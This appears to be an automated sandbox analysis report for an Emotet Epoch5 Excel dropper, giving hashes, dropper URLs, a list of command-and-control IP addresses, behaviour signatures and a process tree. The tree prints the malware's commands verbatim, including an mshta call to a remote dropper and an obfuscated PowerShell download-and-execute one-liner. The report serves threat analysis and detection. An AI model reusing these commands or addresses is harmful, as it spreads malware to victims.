emotet | df1f6f8990157fe6992bc37f6da33a9ebef6189a40098a5000cba75df3bf8e93

Analysis

max time kernel
153s
max time network
160s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 15:19

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General

Target
tmpftti3fdi.xls
Size 90KB
Sample220128-sp8eqsfdhm
SHA256 df1f6f8990157fe6992bc37f6da33a9ebef6189a40098a5000cba75df3bf8e93
MD5 8cf5a10cfe6e12b912a97c485b5a73eb
SHA1 9be331c000fd158badefb1e8f88f968f3621bd10
SHA512 fe46a242591e0f58d6607bd0e3ee424af464206229e8357e1fa19bc328ce03cd0f76c3af5f938f1c7359ea0552ab47e2c4813301f86b6fe5b8c6d54599263a96
MD5 SHA1 SHA512

Score

10^/10

emotet epoch5 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/ee/ss/se.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/ee/ss/se.png

Extracted

Family

emotet

Botnet

Epoch5

159.69.43.124:8080
45.79.80.198:443
207.148.81.119:8080
128.199.192.135:8080
118.98.72.86:443
217.182.143.207:443
168.197.250.14:80
116.124.128.206:8080
78.46.73.125:443
185.148.168.15:8080
195.154.146.35:443
85.214.67.203:8080
194.9.172.107:8080
59.148.253.194:443
210.57.209.142:8080
54.38.242.185:443
195.77.239.39:8080
159.69.237.188:443
104.131.62.48:8080
62.171.178.147:8080
142.4.219.173:8080
66.42.57.149:443
78.47.204.80:443
190.90.233.66:443
54.37.228.122:443
185.168.130.138:443
191.252.103.16:80
37.59.209.141:8080
185.148.168.220:8080
37.44.244.177:8080
203.153.216.46:443
45.13.132.26:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3000	2636	cmd.exe	68

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
38	4788	mshta.exe
40	1920	powershell.exe
42	1920	powershell.exe
52	2148	rundll32.exe
53	2148	rundll32.exe
54	2148	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2000	rundll32.exe
2960	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Mvnebjwtjkt\peozabztccew.jqe	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2392	4788	WerFault.exe	77

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2636	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1920	powershell.exe
1920	powershell.exe
1920	powershell.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2392	WerFault.exe
2148	rundll32.exe
2148	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1920	powershell.exe
Token: SeDebugPrivilege	2392	WerFault.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 3000	2636	EXCEL.EXE	73
PID 2636 wrote to memory of 3000	2636	EXCEL.EXE	73
PID 3000 wrote to memory of 4784	3000	cmd.exe	75
PID 3000 wrote to memory of 4784	3000	cmd.exe	75
PID 3000 wrote to memory of 4780	3000	cmd.exe	76
PID 3000 wrote to memory of 4780	3000	cmd.exe	76
PID 4780 wrote to memory of 4788	4780	cmd.exe	77
PID 4780 wrote to memory of 4788	4780	cmd.exe	77
PID 4788 wrote to memory of 1920	4788	mshta.exe	78
PID 4788 wrote to memory of 1920	4788	mshta.exe	78
PID 1920 wrote to memory of 1980	1920	powershell.exe	82
PID 1920 wrote to memory of 1980	1920	powershell.exe	82
PID 1980 wrote to memory of 2000	1980	cmd.exe	83
PID 1980 wrote to memory of 2000	1980	cmd.exe	83
PID 1980 wrote to memory of 2000	1980	cmd.exe	83
PID 2000 wrote to memory of 2960	2000	rundll32.exe	84
PID 2000 wrote to memory of 2960	2000	rundll32.exe	84
PID 2000 wrote to memory of 2960	2000	rundll32.exe	84
PID 2960 wrote to memory of 1528	2960	rundll32.exe	85
PID 2960 wrote to memory of 1528	2960	rundll32.exe	85
PID 2960 wrote to memory of 1528	2960	rundll32.exe	85
PID 1528 wrote to memory of 2148	1528	rundll32.exe	86
PID 1528 wrote to memory of 2148	1528	rundll32.exe	86
PID 1528 wrote to memory of 2148	1528	rundll32.exe	86

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmpftti3fdi.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c set ooo=mshta http://91.240.118.172/ee/ss/se.html & echo %ooo% | cmd
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo %ooo% "
    3⤵
    PID:4784
- - C:\Windows\system32\cmd.exe
    cmd
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4780
  - - C:\Windows\system32\mshta.exe
      mshta http://91.240.118.172/ee/ss/se.html
      4⤵
      Blocklisted process makes network request
      Suspicious use of WriteProcessMemory
      PID:4788
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FutuReD}{FutuReD}Ne{FutuReD}{FutuReD}w{FutuReD}-Obj{FutuReD}ec{FutuReD}{FutuReD}t N{FutuReD}{FutuReD}et{FutuReD}.W{FutuReD}{FutuReD}e'.replace('{FutuReD}', ''); $c4='bC{FutuReD}li{FutuReD}{FutuReD}en{FutuReD}{FutuReD}t).D{FutuReD}{FutuReD}ow{FutuReD}{FutuReD}nl{FutuReD}{FutuReD}{FutuReD}o'.replace('{FutuReD}', ''); $c3='ad{FutuReD}{FutuReD}St{FutuReD}rin{FutuReD}{FutuReD}g{FutuReD}(''ht{FutuReD}tp{FutuReD}://91.240.118.172/ee/ss/se.png'')'.replace('{FutuReD}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
        5⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1920
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1980
        
        C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll,KitKat
        7⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2000
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
        8⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2960
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Mvnebjwtjkt\peozabztccew.jqe",MVllcCMcPNdgIzW
        9⤵
        Suspicious use of WriteProcessMemory
        
        PID:1528
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Mvnebjwtjkt\peozabztccew.jqe",DllRegisterServer
        10⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2148
    - - C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 4788 -s 2272
        5⤵
        Program crash
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2392

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1528-353-0x0000000004BF0000-0x0000000004C17000-memory.dmp

Download

memory/1920-284-0x00000193B95E0000-0x00000193B9602000-memory.dmp

Download

memory/1920-322-0x00000193B94D6000-0x00000193B94D8000-memory.dmp

Download

memory/1920-287-0x00000193B94D3000-0x00000193B94D5000-memory.dmp

Download

memory/1920-286-0x00000193B94D0000-0x00000193B94D2000-memory.dmp

Download

memory/1920-306-0x00000193B9920000-0x00000193B995C000-memory.dmp

Download

memory/1920-317-0x00000193B9E30000-0x00000193B9EA6000-memory.dmp

Download

memory/2000-335-0x0000000003210000-0x0000000003237000-memory.dmp

Download

memory/2148-364-0x0000000004AC0000-0x0000000004AE7000-memory.dmp

Download

memory/2636-116-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Download

memory/2636-128-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

Download

memory/2636-118-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Download

memory/2636-115-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Download

memory/2636-117-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

Download

memory/2636-119-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

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memory/2636-404-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

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memory/2636-405-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

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memory/2636-403-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

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memory/2636-402-0x00007FFA98310000-0x00007FFA98320000-memory.dmp

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memory/2636-129-0x00007FFA94C50000-0x00007FFA94C60000-memory.dmp

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memory/2960-338-0x00000000029F0000-0x0000000002A17000-memory.dmp

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memory/2960-356-0x0000000004C60000-0x0000000004C87000-memory.dmp

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memory/2960-352-0x0000000004A90000-0x0000000004AB7000-memory.dmp

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memory/2960-350-0x0000000004A30000-0x0000000004A57000-memory.dmp

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memory/2960-348-0x00000000049D0000-0x00000000049F7000-memory.dmp

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memory/2960-346-0x0000000004870000-0x0000000004897000-memory.dmp

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memory/2960-344-0x0000000004780000-0x00000000047A7000-memory.dmp

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